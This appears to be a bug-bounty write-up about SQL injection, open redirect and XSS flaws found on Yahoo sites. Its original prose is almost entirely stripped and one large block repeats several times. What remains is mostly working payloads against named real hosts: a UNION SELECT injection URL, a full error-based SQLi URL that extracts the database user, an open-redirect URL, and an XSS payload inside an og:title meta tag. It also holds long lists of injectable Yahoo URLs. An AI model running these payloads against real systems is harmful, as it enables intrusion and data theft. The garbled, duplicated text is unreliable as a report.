27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
